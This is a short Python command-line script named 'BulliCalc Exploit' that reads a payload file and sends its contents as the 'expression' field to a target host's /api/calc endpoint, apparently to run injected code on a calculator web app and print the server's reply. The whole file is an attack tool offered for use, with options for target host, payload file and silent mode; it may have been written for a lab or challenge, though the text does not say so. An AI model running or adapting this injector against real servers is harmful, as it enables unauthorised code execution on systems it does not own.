#! /usr/bin/env python

from __future__ import print_function

from argparse import ArgumentParser
from requests import post as send
from sys import stderr


def execute(host, payload):
    """
    Executes a payload by injecting it to the server
    """
    return send('http://{}/api/calc'.format(host), json={
        'expression': payload
    }).json()['result']


def main(host, payload_filename, silent):
    try:
        # Open the payload file and execute it
        with open(payload_filename) as payload_file:
            r = execute(host, payload_file.read())
        
        # Print the response if not at silent mode
        if not silent:
            print(r)
    except Exception as e:
        print('Failed to execute payload: {}'.format(e.message), file=stderr)
        exit(1)


if __name__ == '__main__':
    parser = ArgumentParser('BulliCalc Exploit', description='Exploit a BulliCalc app')

    parser.add_argument('host', type=str, help='BulliCalc host server')
    parser.add_argument('payload', type=str, help='Payload file to execute on the server')
    parser.add_argument('-s', '--silent', action='store_true', help='Don\'t print the result from the server')

    args = parser.parse_args()

    main(args.host, args.payload, args.silent)
